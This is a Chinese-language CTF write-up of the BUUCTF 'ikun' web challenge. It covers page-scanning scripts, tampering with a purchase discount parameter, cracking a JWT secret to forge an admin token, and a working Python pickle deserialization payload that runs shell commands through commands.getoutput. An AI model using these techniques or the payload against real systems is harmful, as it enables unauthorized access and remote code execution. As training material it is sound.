https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web2]ikun

知识点: 脚本 jwt  pickle反序列化

一看BUU还有很多国赛题，国赛题一般都能学到很多东西，所以觉得先做国赛题，然后准备打打rund7和西湖论剑，哦我又想起来hgame还没打了2333

【资料图】

言归正传:

好家伙，一来先登录一下，这里F12看到提示：

然后F12看到提示:

当然第一步的提示很明显

为什么我只有10块钱，桑心，发现每页的图片都是命名的lv几

那一页一页翻几百页，肯定不是这样做的，多半是写脚本，但是以我水平，写不来捏:

感谢大佬:

https://blog.csdn.net/eliforsharon/article/details/123065353

import requestsfor i in range(1, 1001, 1):    url = "http://60e5343c-8126-4686-9904-460daa610afa.node4.buuoj.cn:81/shop?page="    url += str(i)    x = requests.get(url)    if "lv6.png" in x.text:        print(i)

再次感谢大佬：

https://blog.csdn.net/qq_41628669/article/details/106133124

#coding：utf-8import requestsimport timefor i in range(1,200):    print(i)    url = 'http://1ecaa26f-c825-4bf8-861a-a2b0f2a73316.node3.buuoj.cn/shop?page={}'.format(i)    r = requests.get(url)    if 'lv6.png' in r.text:        print(i)        break    if r.status_code == 429:        print("too fast")        time.sleep(2)

这里我一直报错:AttributeError: module 'requests' has no attribute 'get'

按道理来说是因为文件名问题，可是我自己的文件名起的是IKUN，而且每次输出都会先输出12345 和其 md5形式的问题，后来我发现，是我当前文件夹里面有一个requests.py，但是其内容没有用到request模块，所以那个脚本当时没什么问题，后来我们放其他用到requests的脚本时就调用了这个py文件，然后报错，值得自己反思。

这里爆破出来在181页:

但是我只有10块钱，点击购买，抓包看看能不能改价格或者折扣

看到末尾有参数:

把0.8改成很小，最后价格小于10就行了，得到下一个网站地址，访问提示：

那抓包看看有没有验证参数或者cookie:

很眼熟的JWT,我们在[HFCTF2020]EasyLogin里讲过关于JWT的组成构造和原理

当然也可以看这篇博客：https://blog.csdn.net/cdyunaq/article/details/122561096

话说回来:

我们丢到JWT网站看看构造:

与当时的情况不同的是，这里明显有jwt签名，需要我们找密钥，那一般都要用到我们的

工具:c-jwt-crack，github上有https://github.com/brendan-rius/c-jwt-cracker

放一下readme.md内容，值得注意的是

有jwt-cracker这个工具只适用于单一签名加密，即HS256，

c-jwt-cracker和jwttools一样是暴力破解JWT私钥的工具

可以根据这个博客：https://blog.csdn.net/qq_64973687/article/details/128430526

按照其教程一步的安装下载与利用jwttools，这里我所演示的是c-jwt-cracker

然后就是解压，make一下，然后跑脚本，这里我改了文件名的，无需在意差别。

爆破出来后我们根据网站https://jwt.io/重新构造JWT签名，记得把用户名改成admin

然后到了新界面:

然后f12看到提示，发现源码泄露，同时抓包出现新参数become:

打开www.zip，沿着找到become参数的思路发现Admin.py

import tornado.web

from sshop.base import BaseHandler

import pickle

import urllib

class AdminHandler(BaseHandler):

@tornado.web.authenticated

def get(self, *args, **kwargs):

if self.current_user == "admin":

return self.render('form.html', res='This is Black Technology!', member=0)

else:

return self.render('no_ass.html')

@tornado.web.authenticated

def post(self, *args, **kwargs):

try:

become = self.get_argument('become')

p = pickle.loads(urllib.unquote(become))

return self.render('form.html', res=p, member=1)

except:

return self.render('form.html', res='This is Black Technology!', member=0)

关键点在于pickle，根据在研究大佬WP时找到:

https://www.freebuf.com/articles/web/252189.html

pickle或cPickle，作用和PHP的serialize与unserialize一样，两者只是实现的语言不同，一个是纯Python实现、另一个是C实现，函数调用基本相同。

关于其过程，在这里我说多了不如直接看别人博客，我都是第一次遇到，

整个序列化的过程可以分为三个步骤

从对象中提权所有属性

写入对象的所有模块名和类名

写入对象所有属性的键值对

其他重点可以看他的，这里简述一下反序列化漏洞：

反序列化漏洞出现在 __reduce__()魔法函数上，这一点和PHP中的__wakeup()魔术方法类似，都是因为每当反序列化过程开始或者结束时 , 都会自动调用这类函数。而这恰好是反序列化漏洞经常出现的地方。

当 __reduce__()函数返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用 . 第二个元素是可调用对象的参数 , 同样是一个元组。这点跟我们上面提到的PVM中的R操作码功能相似，可以对比下：

值得一提的是，在py2中，只有内置类才有__reduce__方法，即用class A(object)声明的类

如果你使用class A的话会和class A（object）的结果不同，并且得不到结果，但是py3中，两者结果一样，因为py3已经默认都是内置类了

话说回来:

在admin.py中

self.render('form.html', res=p, member=1)这段代码的意思就是找到模板文件，进行渲染，从而显示页面

而在form.html中， <div class="ui segment">{{ res }}</div>这句话说明传入是可以回显的

那我们的目的明显是读取flag文件，然后利用res输出内容。

因为系统函数大多都是print输出，所以我们需要找一个新的函数：commands.getoutput()

然后payload:

# coding=utf8

import pickle

import urllib

import commands

class payload(object):

def __reduce__(self): 

return (commands.getoutput,('ls /',))

a = payload()

print urllib.quote(pickle.dumps(a))

#ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.

这里第一个对象form.html被调用，第二个参数返回结果，因为第二个参数res可以回显，所以这里返回的ls /也回显了出来，将结果作为become参数，回显flag位置在flag.txt

剩下的就是换命令内容，然后得到flag:

最后因为要出去吃饭了有点赶时间，比较抱歉，下次遇到同样类型的反序列化，一定详讲并举例。

那么，期待我们下一题再见！

关键词： SELF CODING EXCEPT reduce HGAME FLAG ikun COOKIE MAKE python HTTPS PAGE WAKE RETURN BREAK GITHUB HTTP 值得一提